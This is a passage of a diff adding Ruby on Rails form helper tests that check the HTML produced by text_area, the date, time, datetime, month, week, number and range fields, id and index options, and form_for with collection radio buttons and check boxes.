+    @post.body = "Back to <i>the</i> hill and over it again!"
+    assert_dom_equal(
+      %{<textarea id="post_body" name="post[body]">\nBack to <i>the</i> hill and over it again!</textarea>},
+      text_area("post", "body")
+    )
+  end
+
+  def test_text_area_with_alternate_value
+    assert_dom_equal(
+      %{<textarea id="post_body" name="post[body]">\nTesting alternate values.</textarea>},
+      text_area("post", "body", value: "Testing alternate values.")
+    )
+  end
+
+  def test_text_area_with_nil_alternate_value
+    assert_dom_equal(
+      %{<textarea id="post_body" name="post[body]">\n</textarea>},
+      text_area("post", "body", value: nil)
+    )
+  end
+
+  def test_text_area_with_html_entities
+    @post.body = "The HTML Entity for & is &"
+    assert_dom_equal(
+      %{<textarea id="post_body" name="post[body]">\nThe HTML Entity for & is &amp;</textarea>},
+      text_area("post", "body")
+    )
+  end
+
+  def test_text_area_with_size_option
+    assert_dom_equal(
+      %{<textarea cols="183" id="post_body" name="post[body]" rows="820">\nBack to the hill and over it again!</textarea>},
+      text_area("post", "body", size: "183x820")
+    )
+  end
+
+  def test_color_field_with_valid_hex_color_string
+    expected = %{<input id="car_color" name="car[color]" type="color" value="#000fff" />}
+    assert_dom_equal(expected, color_field("car", "color"))
+  end
+
+  def test_color_field_with_invalid_hex_color_string
+    expected = %{<input id="car_color" name="car[color]" type="color" value="#000000" />}
+    @car.color = "#1234TR"
+    assert_dom_equal(expected, color_field("car", "color"))
+  end
+
+  def test_color_field_with_value_attr
+    expected = %{<input id="car_color" name="car[color]" type="color" value="#00FF00" />}
+    assert_dom_equal(expected, color_field("car", "color", value: "#00FF00"))
+  end
+
+  def test_search_field
+    expected = %{<input id="contact_notes_query" name="contact[notes_query]" type="search" />}
+    assert_dom_equal(expected, search_field("contact", "notes_query"))
+  end
+
+  def test_telephone_field
+    expected = %{<input id="user_cell" name="user[cell]" type="tel" />}
+    assert_dom_equal(expected, telephone_field("user", "cell"))
+  end
+
+  def test_date_field
+    expected = %{<input id="post_written_on" name="post[written_on]" type="date" value="2004-06-15" />}
+    assert_dom_equal(expected, date_field("post", "written_on"))
+  end
+
+  def test_date_field_with_datetime_value
+    expected = %{<input id="post_written_on" name="post[written_on]" type="date" value="2004-06-15" />}
+    @post.written_on = DateTime.new(2004, 6, 15, 1, 2, 3)
+    assert_dom_equal(expected, date_field("post", "written_on"))
+  end
+
+  def test_date_field_with_extra_attrs
+    expected = %{<input id="post_written_on" step="2" max="2010-08-15" min="2000-06-15" name="post[written_on]" type="date" value="2004-06-15" />}
+    @post.written_on = DateTime.new(2004, 6, 15)
+    min_value = DateTime.new(2000, 6, 15)
+    max_value = DateTime.new(2010, 8, 15)
+    step = 2
+    assert_dom_equal(expected, date_field("post", "written_on", min: min_value, max: max_value, step: step))
+  end
+
+  def test_date_field_with_value_attr
+    expected = %{<input id="post_written_on" name="post[written_on]" type="date" value="2013-06-29" />}
+    value = Date.new(2013,6,29)
+    assert_dom_equal(expected, date_field("post", "written_on", value: value))
+  end
+
+  def test_date_field_with_timewithzone_value
+    previous_time_zone, Time.zone = Time.zone, 'UTC'
+    expected = %{<input id="post_written_on" name="post[written_on]" type="date" value="2004-06-15" />}
+    @post.written_on = Time.zone.parse('2004-06-15 15:30:45')
+    assert_dom_equal(expected, date_field("post", "written_on"))
+  ensure
+    Time.zone = previous_time_zone
+  end
+
+  def test_date_field_with_nil_value
+    expected = %{<input id="post_written_on" name="post[written_on]" type="date" />}
+    @post.written_on = nil
+    assert_dom_equal(expected, date_field("post", "written_on"))
+  end
+
+  def test_time_field
+    expected = %{<input id="post_written_on" name="post[written_on]" type="time" value="00:00:00.000" />}
+    assert_dom_equal(expected, time_field("post", "written_on"))
+  end
+
+  def test_time_field_with_datetime_value
+    expected = %{<input id="post_written_on" name="post[written_on]" type="time" value="01:02:03.000" />}
+    @post.written_on = DateTime.new(2004, 6, 15, 1, 2, 3)
+    assert_dom_equal(expected, time_field("post", "written_on"))
+  end
+
+  def test_time_field_with_extra_attrs
+    expected = %{<input id="post_written_on" step="60" max="10:25:00.000" min="20:45:30.000" name="post[written_on]" type="time" value="01:02:03.000" />}
+    @post.written_on = DateTime.new(2004, 6, 15, 1, 2, 3)
+    min_value = DateTime.new(2000, 6, 15, 20, 45, 30)
+    max_value = DateTime.new(2010, 8, 15, 10, 25, 00)
+    step = 60
+    assert_dom_equal(expected, time_field("post", "written_on", min: min_value, max: max_value, step: step))
+  end
+
+  def test_time_field_with_timewithzone_value
+    previous_time_zone, Time.zone = Time.zone, 'UTC'
+    expected = %{<input id="post_written_on" name="post[written_on]" type="time" value="01:02:03.000" />}
+    @post.written_on = Time.zone.parse('2004-06-15 01:02:03')
+    assert_dom_equal(expected, time_field("post", "written_on"))
+  ensure
+    Time.zone = previous_time_zone
+  end
+
+  def test_time_field_with_nil_value
+    expected = %{<input id="post_written_on" name="post[written_on]" type="time" />}
+    @post.written_on = nil
+    assert_dom_equal(expected, time_field("post", "written_on"))
+  end
+
+  def test_datetime_field
+    expected = %{<input id="post_written_on" name="post[written_on]" type="datetime" value="2004-06-15T00:00:00.000+0000" />}
+    assert_dom_equal(expected, datetime_field("post", "written_on"))
+  end
+
+  def test_datetime_field_with_datetime_value
+    expected = %{<input id="post_written_on" name="post[written_on]" type="datetime" value="2004-06-15T01:02:03.000+0000" />}
+    @post.written_on = DateTime.new(2004, 6, 15, 1, 2, 3)
+    assert_dom_equal(expected, datetime_field("post", "written_on"))
+  end
+
+  def test_datetime_field_with_extra_attrs
+    expected = %{<input id="post_written_on" step="60" max="2010-08-15T10:25:00.000+0000" min="2000-06-15T20:45:30.000+0000" name="post[written_on]" type="datetime" value="2004-06-15T01:02:03.000+0000" />}
+    @post.written_on = DateTime.new(2004, 6, 15, 1, 2, 3)
+    min_value = DateTime.new(2000, 6, 15, 20, 45, 30)
+    max_value = DateTime.new(2010, 8, 15, 10, 25, 00)
+    step = 60
+    assert_dom_equal(expected, datetime_field("post", "written_on", min: min_value, max: max_value, step: step))
+  end
+
+  def test_datetime_field_with_value_attr
+    expected = %{<input id="post_written_on" name="post[written_on]" type="datetime" value="2013-06-29T13:37:00+00:00" />}
+    value = DateTime.new(2013,6,29,13,37)
+    assert_dom_equal(expected, datetime_field("post", "written_on", value: value))
+  end
+
+  def test_datetime_field_with_timewithzone_value
+    previous_time_zone, Time.zone = Time.zone, 'UTC'
+    expected = %{<input id="post_written_on" name="post[written_on]" type="datetime" value="2004-06-15T15:30:45.000+0000" />}
+    @post.written_on = Time.zone.parse('2004-06-15 15:30:45')
+    assert_dom_equal(expected, datetime_field("post", "written_on"))
+  ensure
+    Time.zone = previous_time_zone
+  end
+
+  def test_datetime_field_with_nil_value
+    expected = %{<input id="post_written_on" name="post[written_on]" type="datetime" />}
+    @post.written_on = nil
+    assert_dom_equal(expected, datetime_field("post", "written_on"))
+  end
+
+  def test_datetime_local_field
+    expected = %{<input id="post_written_on" name="post[written_on]" type="datetime-local" value="2004-06-15T00:00:00" />}
+    assert_dom_equal(expected, datetime_local_field("post", "written_on"))
+  end
+
+  def test_datetime_local_field_with_datetime_value
+    expected = %{<input id="post_written_on" name="post[written_on]" type="datetime-local" value="2004-06-15T01:02:03" />}
+    @post.written_on = DateTime.new(2004, 6, 15, 1, 2, 3)
+    assert_dom_equal(expected, datetime_local_field("post", "written_on"))
+  end
+
+  def test_datetime_local_field_with_extra_attrs
+    expected = %{<input id="post_written_on" step="60" max="2010-08-15T10:25:00" min="2000-06-15T20:45:30" name="post[written_on]" type="datetime-local" value="2004-06-15T01:02:03" />}
+    @post.written_on = DateTime.new(2004, 6, 15, 1, 2, 3)
+    min_value = DateTime.new(2000, 6, 15, 20, 45, 30)
+    max_value = DateTime.new(2010, 8, 15, 10, 25, 00)
+    step = 60
+    assert_dom_equal(expected, datetime_local_field("post", "written_on", min: min_value, max: max_value, step: step))
+  end
+
+  def test_datetime_local_field_with_timewithzone_value
+    previous_time_zone, Time.zone = Time.zone, 'UTC'
+    expected = %{<input id="post_written_on" name="post[written_on]" type="datetime-local" value="2004-06-15T15:30:45" />}
+    @post.written_on = Time.zone.parse('2004-06-15 15:30:45')
+    assert_dom_equal(expected, datetime_local_field("post", "written_on"))
+  ensure
+    Time.zone = previous_time_zone
+  end
+
+  def test_datetime_local_field_with_nil_value
+    expected = %{<input id="post_written_on" name="post[written_on]" type="datetime-local" />}
+    @post.written_on = nil
+    assert_dom_equal(expected, datetime_local_field("post", "written_on"))
+  end
+
+  def test_month_field
+    expected = %{<input id="post_written_on" name="post[written_on]" type="month" value="2004-06" />}
+    assert_dom_equal(expected, month_field("post", "written_on"))
+  end
+
+  def test_month_field_with_nil_value
+    expected = %{<input id="post_written_on" name="post[written_on]" type="month" />}
+    @post.written_on = nil
+    assert_dom_equal(expected, month_field("post", "written_on"))
+  end
+
+  def test_month_field_with_datetime_value
+    expected = %{<input id="post_written_on" name="post[written_on]" type="month" value="2004-06" />}
+    @post.written_on = DateTime.new(2004, 6, 15, 1, 2, 3)
+    assert_dom_equal(expected, month_field("post", "written_on"))
+  end
+
+  def test_month_field_with_extra_attrs
+    expected = %{<input id="post_written_on" step="2" max="2010-12" min="2000-02" name="post[written_on]" type="month" value="2004-06" />}
+    @post.written_on = DateTime.new(2004, 6, 15, 1, 2, 3)
+    min_value = DateTime.new(2000, 2, 13)
+    max_value = DateTime.new(2010, 12, 23)
+    step = 2
+    assert_dom_equal(expected, month_field("post", "written_on", min: min_value, max: max_value, step: step))
+  end
+
+  def test_month_field_with_timewithzone_value
+    previous_time_zone, Time.zone = Time.zone, 'UTC'
+    expected = %{<input id="post_written_on" name="post[written_on]" type="month" value="2004-06" />}
+    @post.written_on = Time.zone.parse('2004-06-15 15:30:45')
+    assert_dom_equal(expected, month_field("post", "written_on"))
+  ensure
+    Time.zone = previous_time_zone
+  end
+
+  def test_week_field
+    expected = %{<input id="post_written_on" name="post[written_on]" type="week" value="2004-W24" />}
+    assert_dom_equal(expected, week_field("post", "written_on"))
+  end
+
+  def test_week_field_with_nil_value
+    expected = %{<input id="post_written_on" name="post[written_on]" type="week" />}
+    @post.written_on = nil
+    assert_dom_equal(expected, week_field("post", "written_on"))
+  end
+
+  def test_week_field_with_datetime_value
+    expected = %{<input id="post_written_on" name="post[written_on]" type="week" value="2004-W24" />}
+    @post.written_on = DateTime.new(2004, 6, 15, 1, 2, 3)
+    assert_dom_equal(expected, week_field("post", "written_on"))
+  end
+
+  def test_week_field_with_extra_attrs
+    expected = %{<input id="post_written_on" step="2" max="2010-W51" min="2000-W06" name="post[written_on]" type="week" value="2004-W24" />}
+    @post.written_on = DateTime.new(2004, 6, 15, 1, 2, 3)
+    min_value = DateTime.new(2000, 2, 13)
+    max_value = DateTime.new(2010, 12, 23)
+    step = 2
+    assert_dom_equal(expected, week_field("post", "written_on", min: min_value, max: max_value, step: step))
+  end
+
+  def test_week_field_with_timewithzone_value
+    previous_time_zone, Time.zone = Time.zone, 'UTC'
+    expected = %{<input id="post_written_on" name="post[written_on]" type="week" value="2004-W24" />}
+    @post.written_on = Time.zone.parse('2004-06-15 15:30:45')
+    assert_dom_equal(expected, week_field("post", "written_on"))
+  ensure
+    Time.zone = previous_time_zone
+  end
+
+  def test_url_field
+    expected = %{<input id="user_homepage" name="user[homepage]" type="url" />}
+    assert_dom_equal(expected, url_field("user", "homepage"))
+  end
+
+  def test_email_field
+    expected = %{<input id="user_address" name="user[address]" type="email" />}
+    assert_dom_equal(expected, email_field("user", "address"))
+  end
+
+  def test_number_field
+    expected = %{<input name="order[quantity]" max="9" id="order_quantity" type="number" min="1" />}
+    assert_dom_equal(expected, number_field("order", "quantity", in: 1...10))
+    expected = %{<input name="order[quantity]" size="30" max="9" id="order_quantity" type="number" min="1" />}
+    assert_dom_equal(expected, number_field("order", "quantity", size: 30, in: 1...10))
+  end
+
+  def test_range_input
+    expected = %{<input name="hifi[volume]" step="0.1" max="11" id="hifi_volume" type="range" min="0" />}
+    assert_dom_equal(expected, range_field("hifi", "volume", in: 0..11, step: 0.1))
+    expected = %{<input name="hifi[volume]" step="0.1" size="30" max="11" id="hifi_volume" type="range" min="0" />}
+    assert_dom_equal(expected, range_field("hifi", "volume", size: 30, in: 0..11, step: 0.1))
+  end
+
+  def test_explicit_name
+    assert_dom_equal(
+      '<input id="post_title" name="dont guess" type="text" value="Hello World" />',
+      text_field("post", "title", "name" => "dont guess")
+    )
+    assert_dom_equal(
+      %{<textarea id="post_body" name="really!">\nBack to the hill and over it again!</textarea>},
+      text_area("post", "body", "name" => "really!")
+    )
+    assert_dom_equal(
+      '<input name="i mean it" type="hidden" value="0" /><input checked="checked" id="post_secret" name="i mean it" type="checkbox" value="1" />',
+      check_box("post", "secret", "name" => "i mean it")
+    )
+    assert_dom_equal(
+      text_field("post", "title", "name" => "dont guess"),
+      text_field("post", "title", name: "dont guess")
+    )
+    assert_dom_equal(
+      text_area("post", "body", "name" => "really!"),
+      text_area("post", "body", name: "really!")
+    )
+    assert_dom_equal(
+      check_box("post", "secret", "name" => "i mean it"),
+      check_box("post", "secret", name: "i mean it")
+    )
+  end
+
+  def test_explicit_id
+    assert_dom_equal(
+      '<input id="dont guess" name="post[title]" type="text" value="Hello World" />',
+      text_field("post", "title", "id" => "dont guess")
+    )
+    assert_dom_equal(
+      %{<textarea id="really!" name="post[body]">\nBack to the hill and over it again!</textarea>},
+      text_area("post", "body", "id" => "really!")
+    )
+    assert_dom_equal(
+      '<input name="post[secret]" type="hidden" value="0" /><input checked="checked" id="i mean it" name="post[secret]" type="checkbox" value="1" />',
+      check_box("post", "secret", "id" => "i mean it")
+    )
+    assert_dom_equal(
+      text_field("post", "title", "id" => "dont guess"),
+      text_field("post", "title", id: "dont guess")
+    )
+    assert_dom_equal(
+      text_area("post", "body", "id" => "really!"),
+      text_area("post", "body", id: "really!")
+    )
+    assert_dom_equal(
+      check_box("post", "secret", "id" => "i mean it"),
+      check_box("post", "secret", id: "i mean it")
+    )
+  end
+
+  def test_nil_id
+    assert_dom_equal(
+      '<input name="post[title]" type="text" value="Hello World" />',
+      text_field("post", "title", "id" => nil)
+    )
+    assert_dom_equal(
+      %{<textarea name="post[body]">\nBack to the hill and over it again!</textarea>},
+      text_area("post", "body", "id" => nil)
+    )
+    assert_dom_equal(
+      '<input name="post[secret]" type="hidden" value="0" /><input checked="checked" name="post[secret]" type="checkbox" value="1" />',
+      check_box("post", "secret", "id" => nil)
+    )
+    assert_dom_equal(
+      '<input type="radio" name="post[secret]" value="0" />',
+      radio_button("post", "secret", "0", "id" => nil)
+    )
+    assert_dom_equal(
+      '<select name="post[secret]"></select>',
+      select("post", "secret", [], {}, "id" => nil)
+    )
+    assert_dom_equal(
+      text_field("post", "title", "id" => nil),
+      text_field("post", "title", id: nil)
+    )
+    assert_dom_equal(
+      text_area("post", "body", "id" => nil),
+      text_area("post", "body", id: nil)
+    )
+    assert_dom_equal(
+      check_box("post", "secret", "id" => nil),
+      check_box("post", "secret", id: nil)
+    )
+    assert_dom_equal(
+      radio_button("post", "secret", "0", "id" => nil),
+      radio_button("post", "secret", "0", id: nil)
+    )
+  end
+
+  def test_index
+    assert_dom_equal(
+      '<input name="post[5][title]" id="post_5_title" type="text" value="Hello World" />',
+      text_field("post", "title", "index" => 5)
+    )
+    assert_dom_equal(
+      %{<textarea name="post[5][body]" id="post_5_body">\nBack to the hill and over it again!</textarea>},
+      text_area("post", "body", "index" => 5)
+    )
+    assert_dom_equal(
+      '<input name="post[5][secret]" type="hidden" value="0" /><input checked="checked" name="post[5][secret]" type="checkbox" value="1" id="post_5_secret" />',
+      check_box("post", "secret", "index" => 5)
+    )
+    assert_dom_equal(
+      text_field("post", "title", "index" => 5),
+      text_field("post", "title", "index" => 5)
+    )
+    assert_dom_equal(
+      text_area("post", "body", "index" => 5),
+      text_area("post", "body", "index" => 5)
+    )
+    assert_dom_equal(
+      check_box("post", "secret", "index" => 5),
+      check_box("post", "secret", "index" => 5)
+    )
+  end
+
+  def test_index_with_nil_id
+    assert_dom_equal(
+      '<input name="post[5][title]" type="text" value="Hello World" />',
+      text_field("post", "title", "index" => 5, 'id' => nil)
+    )
+    assert_dom_equal(
+      %{<textarea name="post[5][body]">\nBack to the hill and over it again!</textarea>},
+      text_area("post", "body", "index" => 5, 'id' => nil)
+    )
+    assert_dom_equal(
+      '<input name="post[5][secret]" type="hidden" value="0" /><input checked="checked" name="post[5][secret]" type="checkbox" value="1" />',
+      check_box("post", "secret", "index" => 5, 'id' => nil)
+    )
+    assert_dom_equal(
+      text_field("post", "title", "index" => 5, 'id' => nil),
+      text_field("post", "title", index: 5, id: nil)
+    )
+    assert_dom_equal(
+      text_area("post", "body", "index" => 5, 'id' => nil),
+      text_area("post", "body", index: 5, id: nil)
+    )
+    assert_dom_equal(
+      check_box("post", "secret", "index" => 5, 'id' => nil),
+      check_box("post", "secret", index: 5, id: nil)
+    )
+  end
+
+  def test_auto_index
+    pid = 123
+    assert_dom_equal(
+      %{<label for="post_#{pid}_title">Title</label>},
+      label("post[]", "title")
+    )
+    assert_dom_equal(
+      %{<input id="post_#{pid}_title" name="post[#{pid}][title]" type="text" value="Hello World" />},
+      text_field("post[]","title")
+    )
+    assert_dom_equal(
+      %{<textarea id="post_#{pid}_body" name="post[#{pid}][body]">\nBack to the hill and over it again!</textarea>},
+      text_area("post[]", "body")
+    )
+    assert_dom_equal(
+      %{<input name="post[#{pid}][secret]" type="hidden" value="0" /><input checked="checked" id="post_#{pid}_secret" name="post[#{pid}][secret]" type="checkbox" value="1" />},
+      check_box("post[]", "secret")
+    )
+   assert_dom_equal(
+      %{<input checked="checked" id="post_#{pid}_title_hello_world" name="post[#{pid}][title]" type="radio" value="Hello World" />},
+      radio_button("post[]", "title", "Hello World")
+    )
+    assert_dom_equal(
+      %{<input id="post_#{pid}_title_goodbye_world" name="post[#{pid}][title]" type="radio" value="Goodbye World" />},
+      radio_button("post[]", "title", "Goodbye World")
+    )
+  end
+
+  def test_auto_index_with_nil_id
+    pid = 123
+    assert_dom_equal(
+      %{<input name="post[#{pid}][title]" type="text" value="Hello World" />},
+      text_field("post[]", "title", id: nil)
+    )
+    assert_dom_equal(
+      %{<textarea name="post[#{pid}][body]">\nBack to the hill and over it again!</textarea>},
+      text_area("post[]", "body", id: nil)
+    )
+    assert_dom_equal(
+      %{<input name="post[#{pid}][secret]" type="hidden" value="0" /><input checked="checked" name="post[#{pid}][secret]" type="checkbox" value="1" />},
+      check_box("post[]", "secret", id: nil)
+    )
+   assert_dom_equal(
+     %{<input checked="checked" name="post[#{pid}][title]" type="radio" value="Hello World" />},
+      radio_button("post[]", "title", "Hello World", id: nil)
+    )
+    assert_dom_equal(
+      %{<input name="post[#{pid}][title]" type="radio" value="Goodbye World" />},
+      radio_button("post[]", "title", "Goodbye World", id: nil)
+    )
+  end
+
+  def test_form_for_requires_block
+    assert_raises(ArgumentError) do
+      form_for(:post, @post, html: { id: 'create-post' })
+    end
+  end
+
+  def test_form_for_requires_arguments
+    error = assert_raises(ArgumentError) do
+      form_for(nil, html: { id: 'create-post' }) do
+      end
+    end
+    assert_equal "First argument in form cannot contain nil or be empty", error.message
+
+    error = assert_raises(ArgumentError) do
+      form_for([nil, nil], html: { id: 'create-post' }) do
+      end
+    end
+    assert_equal "First argument in form cannot contain nil or be empty", error.message
+  end
+
+  def test_form_for
+    form_for(@post, html: { id: 'create-post' }) do |f|
+      concat f.label(:title) { "The Title" }
+      concat f.text_field(:title)
+      concat f.text_area(:body)
+      concat f.check_box(:secret)
+      concat f.submit('Create post')
+      concat f.button('Create post')
+      concat f.button {
+        concat content_tag(:span, 'Create post')
+      }
+    end
+
+    expected = whole_form("/posts/123", "create-post", "edit_post", method: "patch") do
+      "<label for='post_title'>The Title</label>" +
+      "<input name='post[title]' type='text' id='post_title' value='Hello World' />" +
+      "<textarea name='post[body]' id='post_body'>\nBack to the hill and over it again!</textarea>" +
+      "<input name='post[secret]' type='hidden' value='0' />" +
+      "<input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />" +
+      "<input name='commit' type='submit' value='Create post' />" +
+      "<button name='button' type='submit'>Create post</button>" +
+      "<button name='button' type='submit'><span>Create post</span></button>"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_for_with_collection_radio_buttons
+    post = Post.new
+    def post.active; false; end
+    form_for(post) do |f|
+      concat f.collection_radio_buttons(:active, [true, false], :to_s, :to_s)
+    end
+
+    expected = whole_form("/posts", "new_post", "new_post") do
+      "<input id='post_active_true' name='post[active]' type='radio' value='true' />" +
+      "<label for='post_active_true'>true</label>" +
+      "<input checked='checked' id='post_active_false' name='post[active]' type='radio' value='false' />" +
+      "<label for='post_active_false'>false</label>"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_for_with_collection_radio_buttons_with_custom_builder_block
+    post = Post.new
+    def post.active; false; end
+
+    form_for(post) do |f|
+      rendered_radio_buttons = f.collection_radio_buttons(:active, [true, false], :to_s, :to_s) do |b|
+        b.label { b.radio_button + b.text }
+      end
+      concat rendered_radio_buttons
+    end
+
+    expected = whole_form("/posts", "new_post", "new_post") do
+      "<label for='post_active_true'>"+
+      "<input id='post_active_true' name='post[active]' type='radio' value='true' />" +
+      "true</label>" +
+      "<label for='post_active_false'>"+
+      "<input checked='checked' id='post_active_false' name='post[active]' type='radio' value='false' />" +
+      "false</label>"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_for_with_collection_radio_buttons_with_custom_builder_block_does_not_leak_the_template
+    post = Post.new
+    def post.active; false; end
+    def post.id; 1; end
+
+    form_for(post) do |f|
+      rendered_radio_buttons = f.collection_radio_buttons(:active, [true, false], :to_s, :to_s) do |b|
+        b.label { b.radio_button + b.text }
+      end
+      concat rendered_radio_buttons
+      concat f.hidden_field :id
+    end
+
+    expected = whole_form("/posts", "new_post_1", "new_post") do
+      "<label for='post_active_true'>"+
+      "<input id='post_active_true' name='post[active]' type='radio' value='true' />" +
+      "true</label>" +
+      "<label for='post_active_false'>"+
+      "<input checked='checked' id='post_active_false' name='post[active]' type='radio' value='false' />" +
+      "false</label>"+
+      "<input id='post_id' name='post[id]' type='hidden' value='1' />"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_with_namespace_and_with_collection_radio_buttons
+    post = Post.new
+    def post.active; false; end
+
+    form_for(post, namespace: 'foo') do |f|
+      concat f.collection_radio_buttons(:active, [true, false], :to_s, :to_s)
+    end
+
+    expected = whole_form("/posts", "foo_new_post", "new_post") do
+      "<input id='foo_post_active_true' name='post[active]' type='radio' value='true' />" +
+      "<label for='foo_post_active_true'>true</label>" +
+      "<input checked='checked' id='foo_post_active_false' name='post[active]' type='radio' value='false' />" +
+      "<label for='foo_post_active_false'>false</label>"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_with_index_and_with_collection_radio_buttons
+    post = Post.new
+    def post.active; false; end
+
+    form_for(post, index: '1') do |f|
+      concat f.collection_radio_buttons(:active, [true, false], :to_s, :to_s)
+    end
+
+    expected = whole_form("/posts", "new_post", "new_post") do
+      "<input id='post_1_active_true' name='post[1][active]' type='radio' value='true' />" +
+      "<label for='post_1_active_true'>true</label>" +
+      "<input checked='checked' id='post_1_active_false' name='post[1][active]' type='radio' value='false' />" +
+      "<label for='post_1_active_false'>false</label>"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_for_with_collection_check_boxes
+    post = Post.new
+    def post.tag_ids; [1, 3]; end
+    collection = (1..3).map { |i| [i, "Tag #{i}"] }
+    form_for(post) do |f|
+      concat f.collection_check_boxes(:tag_ids, collection, :first, :last)
+    end
+
+    expected = whole_form("/posts", "new_post", "new_post") do
+      "<input checked='checked' id='post_tag_ids_1' name='post[tag_ids][]' type='checkbox' value='1' />" +
+      "<label for='post_tag_ids_1'>Tag 1</label>" +
+      "<input id='post_tag_ids_2' name='post[tag_ids][]' type='checkbox' value='2' />" +
+      "<label for='post_tag_ids_2'>Tag 2</label>" +
+      "<input checked='checked' id='post_tag_ids_3' name='post[tag_ids][]' type='checkbox' value='3' />" +
+      "<label for='post_tag_ids_3'>Tag 3</label>" +
+      "<input name='post[tag_ids][]' type='hidden' value='' />"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_for_with_collection_check_boxes_with_custom_builder_block
+    post = Post.new
+    def post.tag_ids; [1, 3]; end
+    collection = (1..3).map { |i| [i, "Tag #{i}"] }
+    form_for(post) do |f|
+      rendered_check_boxes = f.collection_check_boxes(:tag_ids, collection, :first, :last) do |b|
+        b.label { b.check_box + b.text }
+      end
+      concat rendered_check_boxes
+    end
+
+    expected = whole_form("/posts", "new_post", "new_post") do
+      "<label for='post_tag_ids_1'>" +
+      "<input checked='checked' id='post_tag_ids_1' name='post[tag_ids][]' type='checkbox' value='1' />" +
+      "Tag 1</label>" +
+      "<label for='post_tag_ids_2'>" +
+      "<input id='post_tag_ids_2' name='post[tag_ids][]' type='checkbox' value='2' />" +
+      "Tag 2</label>" +
+      "<label for='post_tag_ids_3'>" +
+      "<input checked='checked' id='post_tag_ids_3' name='post[tag_ids][]' type='checkbox' value='3' />" +
+      "Tag 3</label>" +
+      "<input name='post[tag_ids][]' type='hidden' value='' />"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_for_with_collection_check_boxes_with_custom_builder_block_does_not_leak_the_template
+    post = Post.new
+    def post.tag_ids; [1, 3]; end
+    def post.id; 1; end
+    collection = (1..3).map { |i| [i, "Tag #{i}"] }
+
+    form_for(post) do |f|
+      rendered_check_boxes = f.collection_check_boxes(:tag_ids, collection, :first, :last) do |b|
+        b.label { b.check_box + b.text }
+      end
+      concat rendered_check_boxes
+      concat f.hidden_field :id
+    end
+
+    expected = whole_form("/posts", "new_post_1", "new_post") do
+      "<label for='post_tag_ids_1'>" +
+      "<input checked='checked' id='post_tag_ids_1' name='post[tag_ids][]' type='checkbox' value='1' />" +
+      "Tag 1</label>" +
+      "<label for='post_tag_ids_2'>" +
+      "<input id='post_tag_ids_2' name='post[tag_ids][]' type='checkbox' value='2' />" +
+      "Tag 2</label>" +
+      "<label for='post_tag_ids_3'>" +
+      "<input checked='checked' id='post_tag_ids_3' name='post[tag_ids][]' type='checkbox' value='3' />" +
+      "Tag 3</label>" +
+      "<input name='post[tag_ids][]' type='hidden' value='' />"+
+      "<input id='post_id' name='post[id]' type='hidden' value='1' />"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_with_namespace_and_with_collection_check_boxes
+    post = Post.new
+    def post.tag_ids; [1]; end
+    collection = [[1, "Tag 1"]]
+
+    form_for(post, namespace: 'foo') do |f|
+      concat f.collection_check_boxes(:tag_ids, collection, :first, :last)
+    end
+
+    expected = whole_form("/posts", "foo_new_post", "new_post") do
+      "<input checked='checked' id='foo_post_tag_ids_1' name='post[tag_ids][]' type='checkbox' value='1' />" +
+      "<label for='foo_post_tag_ids_1'>Tag 1</label>" +
+      "<input name='post[tag_ids][]' type='hidden' value='' />"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_with_index_and_with_collection_check_boxes
+    post = Post.new
+    def post.tag_ids; [1]; end
+    collection = [[1, "Tag 1"]]
+
+    form_for(post, index: '1') do |f|
+      concat f.collection_check_boxes(:tag_ids, collection, :first, :last)
+    end
+
+    expected = whole_form("/posts", "new_post", "new_post") do
+      "<input checked='checked' id='post_1_tag_ids_1' name='post[1][tag_ids][]' type='checkbox' value='1' />" +
+      "<label for='post_1_tag_ids_1'>Tag 1</label>" +
+      "<input name='post[1][tag_ids][]' type='hidden' value='' />"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_for_with_file_field_generate_multipart
+    Post.send :attr_accessor, :file
+
+    form_for(@post, html: { id: 'create-post' }) do |f|
+      concat f.file_field(:file)
+    end
+
+    expected = whole_form("/posts/123", "create-post", "edit_post", method: "patch", multipart: true) do
+      "<input name='post[file]' type='file' id='post_file' />"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_fields_for_with_file_field_generate_multipart
+    Comment.send :attr_accessor, :file
+
+    form_for(@post) do |f|
+      concat f.fields_for(:comment, @post) { |c|
+        concat c.file_field(:file)
+      }
+    end
+
+    expected = whole_form("/posts/123", "edit_post_123", "edit_post", method: "patch", multipart: true) do
+      "<input name='post[comment][file]' type='file' id='post_comment_file' />"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_for_with_format
+    form_for(@post, format: :json, html: { id: "edit_post_123", class: "edit_post" }) do |f|
+      concat f.label(:title)
+    end
+
+    expected = whole_form("/posts/123.json", "edit_post_123", "edit_post", method: 'patch') do
+      "<label for='post_title'>Title</label>"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_for_with_model_using_relative_model_naming
+    blog_post = Blog::Post.new("And his name will be forty and four.", 44)
+
+    form_for(blog_post) do |f|
+      concat f.text_field :title
+      concat f.submit('Edit post')
+    end
+
+    expected = whole_form("/posts/44", "edit_post_44", "edit_post", method: "patch") do
+      "<input name='post[title]' type='text' id='post_title' value='And his name will be forty and four.' />" +
+      "<input name='commit' type='submit' value='Edit post' />"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_for_with_symbol_object_name
+    form_for(@post, as: "other_name", html: { id: "create-post" }) do |f|
+      concat f.label(:title, class: 'post_title')
+      concat f.text_field(:title)
+      concat f.text_area(:body)
+      concat f.check_box(:secret)
+      concat f.submit('Create post')
+    end
+
+    expected =  whole_form("/posts/123", "create-post", "edit_other_name", method: "patch") do
+      "<label for='other_name_title' class='post_title'>Title</label>" +
